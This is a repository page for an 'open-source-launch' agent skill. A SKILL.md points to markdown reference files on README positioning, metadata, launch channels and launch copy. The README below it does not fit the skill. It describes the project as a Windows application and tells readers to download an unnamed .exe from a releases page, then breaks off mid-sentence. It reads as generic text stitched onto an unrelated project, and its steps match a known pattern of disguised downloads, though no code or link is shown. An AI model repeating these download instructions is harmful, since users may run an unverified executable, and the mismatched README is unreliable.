Prepare open-source repositories for launch by verifying key documentation, usability, and trust signals to improve user adoption.
SKILL.md
--- name: open-source-launch description: Prepare any open-source repository for a clear, trusted public launch. Use when auditing launch readiness, improving README/metadata/proof, choosing launch channels, writing launch copy, or producing a final launch verdict. --- # Open Source Launch Skill This root file is the portable/manual entrypoint for agents that load `SKILL.md` directly. The canonical Claude Code plugin skill lives at [`skills/open-source-launch/SKILL.md`](skills/open-source-launch/SKILL.md). Follow that file for the full workflow. Reference files live in [`skills/open-source-launch/references/`](skills/open-source-launch/references/): - [`skills/open-source-launch/references/positioning.md`](skills/open-source-launch/references/positioning.md) for positioning, README conversion, proof, quickstarts, and above-the-fold structure. - [`skills/open-source-launch/references/metadata.md`](skills/open-source-launch/references/metadata.md) for repo surface, naming, metadata, distribution status, security posture, first-run paths, and verification. - [`skills/open-source-launch/references/channels.md`](skills/open-source-launch/references/channels.md) for channel selection, launch-day flow, community behavior, post-launch follow-up, and metrics. - [`skills/open-source-launch/references/launch-copy.md`](skills/open-source-launch/references/launch-copy.md) for launch asset packs, Show HN, Product Hunt, Reddit/community, social, and outreach templates. - [`skills/open-source-launch/references/failure-modes.md`](skills/open-source-launch/references/failure-modes.md) for verdict format, common failures, and the final quality bar.
README
Open-source-launch-skill helps you turn any folder of code into a finished product. It acts as an automated helper that checks your project requirements. The tool scans your repository to ensure it meets public standards. It looks for missing documentation, improper file structures, and common setup errors. You use this to prepare side projects for public release or professional distribution.
Many developers write code but struggle to share it. Projects often lack clear Readme files or license information. This tool fills those gaps. It reviews your workspace and suggests changes. It generates standard documentation tailored to your specific project goals. This lets you focus on the code while the tool handles the launch readiness. You gain confidence knowing your project follows best practices for the open-source community.
Follow these steps to set up the tool on your Windows computer. The process takes less than five minutes.
Visit the official releases page to access the latest version of the application. Look for the file ending in .exe under the "Assets" section. Click this file to download it to your "Downloads" folder. This file contains the full application, so you do not need other installers.
No complex setup exists for this tool. Ensure you have Windows 10 or 11 installed. The application does not require administrator rights to run, but you should download it to a trusted folder like your desktop or a